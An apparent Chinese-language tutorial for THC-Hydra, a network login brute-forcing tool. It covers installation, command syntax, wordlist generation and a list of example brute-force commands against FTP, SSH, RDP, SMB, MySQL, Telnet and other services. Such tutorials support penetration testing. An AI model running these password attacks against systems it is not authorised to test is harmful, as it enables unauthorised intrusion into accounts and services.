docker pull vanhauser/hydra
0x00 介绍
最大的安全漏洞之一就是是密码,因为这个是每个密码安全研究表明的。
这个工具是一个概念验证代码,给研究人员和安全顾问有可能展示未经授权的行为是多么容易从远程访问系统。
已经有几种登录黑客工具可用,但是没有一个要么支持多个协议进行攻击,要么支持并行化连接。
它经过测试可以在Linux、Windows/Cygwin、Solaris、FreeBSD/OpenBSD、QNX(Blackberry 10)和 MacOS。
目前该工具支持以下协议:
Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP,HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY,HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST,HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener,Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin,Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5,SSH(v1 and v2), SSHKEY, Subversion, Teamspeak(TS2), Telnet, VMware-Auth,VNC,XMPP
这里没有的,你也可以试一下,说不定也可以,而且,新服务的模块引擎非常简单,因此不需要很长一段时间,直到支持更多服务。
0x01 获取途径
Github项目地址:https://github.com/vanhauser-thc/thc-hydra
最新发布、生产版本下载地址:https://github.com/vanhauser-thc/thc-hydra/releases
Docker版本:docker pull vanhauser/hydra
如果您对当前的开发状态感兴趣,公共开发存储库位于Github:
# SVN
svn checkout https://github.com/vanhauser-thc/thc-hydra
#Github
git clone https://github.com/vanhauser-thc/thc-hydra
0x02 编译安装
wget --no-check-certificate https://github.com/vanhauser-thc/thc-hydra/archive/refs/tags/v9.3.tar.gz
tar zxvf thc-hydra-9.3.tar.gz
cd hydra-9.3
./configure
make
make install
如果你想要 ssh 模块,你必须在你的系统上设置 libssh(不是 libssh2),从https://www.libssh.org获取它,对于 ssh v1 支持,您还需要在 cmake 命令行中添加“-DWITH_SSH1=On”选项。
重要提示:如果您在 MacOS 上编译,那么您必须这样做,不要通过 brew 安装 libssh!
Ubuntu/Debian,这将安装一些可选模块所需的补充库(请注意,有些可能在您的发行版中不可用):
apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libmemcached-dev libgpg-error-dev libgcrypt11-dev libgcrypt20-dev
这将启用除 Oracle 之外的所有可选模块和功能,SAP R/3、NCP 和苹果归档协议 - 您需要从供应商的网站下载和安装。
对于所有其他 Linux 衍生产品和基于 BSD 的系统,请使用系统软件安装程序并查找与上述命令类似的名称库。在所有其他情况下,您必须下载所有源库并手动编译它们。
MacOS(基本上是 BSD 克隆)
带有 Cygwin 的 Windows(两者IPv4 和 IPv6)
基于 Linux、MacOS 或 QNX 的移动系统(例如 Android、iPhone、Blackberry 10、Zaurus、iPaq)
0x03 如何食用
如果你只输入hydra
,你将看到可用重要选项的简短摘要。
键入./hydra -h
以查看所有可用的命令行选项。
请注意,不包含登录名/密码文件。自己生成它们,但是存在默认密码列表,请使用dpl4hydra.sh
生成列表。
对于Linux用户,可以使用 GTK GUI,尝试 ./xhydra
对于命令行使用,语法如下:
hydra [一些命令行选项] [-s PORT] TARGET PROTOCOL [MODULE-OPTIONS]
攻击一个目标或网络,可以使用新的://
样式:
hydra [OPTION] PROTOCOL://TARGET:PORT/MODULE-OPTIONS
PROTOCOL:协议,例如:tcp、http、ftp、smtp、smb等
TARGET:目标主机,可以是IP地址也可以是域名
PORT:端口,例如:80、8080、445等
MODULE-OPTIONS:可选值,每个PROTOCOL都是特殊的模块
关于目标主机的食用
hydra 所做的一切都只是 IPv4!如果要攻击 IPv6 地址,必须添加“-6”命令行选项。那么所有的攻击都只是 IPv6!对一整个网段的话需要添加[]
,如果您想通过文本文件提供目标则可以选择-M
指定列表文件
例如:
hydra [一些命令行选项] ftp://[192.168.0.0/24]/
hydra [一些命令行选项] -6 smtps://[2001:db8::1]/NTLM
hydra [一些命令行选项] -M targets.txt ftp
关于登录名和密码的食用
对于如何使用登录名和密码进行攻击,您有很多选择
使用 -l 登录名和 -p 密码,你告诉 hydra 这是唯一可以尝试的登录名和/或密码。
使用 -L 登录名和 -P 密码,你可以为文本文件提供条目。
例如:
hydra -l admin -p 密码 ftp://localhost/
hydra -L default_logins.txt -p test ftp://localhost/
hydra -l admin -P common_passwords.txt ftp://localhost/
hydra - L logins.txt -P passwords.txt ftp://localhost/
关于爆破字典的生成食用
-x 选项的暴力模式(不能与 -p/-P/-C 一起使用),-x minimum_length:maximum_length:charset
字符集定义是a
代表小写字母,A
代表大写字母,1
代表数字,对于您提供的任何其他内容,它都是它们的真实表示。
示例:
-x 1:3:a 生成长度为 1 到 3 的密码,全部小写
-x 2:5:/ 生成长度为 2 到 5 的密码,仅包含斜杠
-x 5:8:A1 生成密码长度为 5 到 8,带有大写和数字
例如:
hydra -l ftp -x 3:3:a ftp://localhost/
各类的爆破实例
#FTP爆破
hydra -l root -P passlist.txt -vV ftp://192.168.1.1
#SSH爆破
hydra -l root -P passlist.txt -vV ssh://192.168.1.1
#VNC爆破
hydra -P passlist.txt -vV vnc://192.168.1.1:5901
#MySQL爆破
hydra -L userlist.txt -P passlist.txt -V mysql://192.168.1.1:3306
#https爆破
hydra -m /index.php -L userlist.txt -P passlist.txt 192.168.1.1 https
#Cisco爆破
hydra -P passlist.txt 192.168.1.1 cisco
hydra -m cloud -P passlist.txt 192.168.1.1 cisco-enable
#SMB爆破
hydra -l administrator -P passlist.txt 192.168.1.1 smb
#POP3爆破
hydra -l muts -P pass.txt my.pop3.mail pop3
#RDP爆破
hydra 192.168.1.1 rdp -l administrator -P passlist.txt -V
#http代理爆破
hydra -l admin -P passlist.txt http-proxy://192.168.1.1
#Telnet爆破
hydra 192.168.1.1 telnet -L userlist.txt -P passlist.txt -t 32 -s 23 -e ns -f -V